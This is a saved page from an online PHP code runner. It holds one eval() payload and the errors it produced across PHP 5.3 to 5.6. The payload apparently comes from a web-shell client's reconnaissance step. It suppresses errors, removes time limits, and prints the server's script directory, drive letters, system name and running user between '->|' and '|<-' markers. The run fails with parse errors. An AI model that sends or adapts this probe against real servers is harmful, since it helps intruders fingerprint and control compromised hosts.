3v4l.org

run code in 300+ PHP versions simultaneously
<?php eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('."'posix_getegid'".'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();');
Output for 5.4.0 - 5.4.45, 5.5.24 - 5.5.30, 5.6.8 - 5.6.15
Parse error: syntax error, unexpected '';$usr=($u)?$u['' (T_CONSTANT_ENCAPSED_STRING) in /in/VVkkK on line 2
Process exited with code 255.
Output for 5.3.0 - 5.3.29
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /in/VVkkK on line 2
Process exited with code 255.
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198.95 ms | 1395 KiB | 97 Q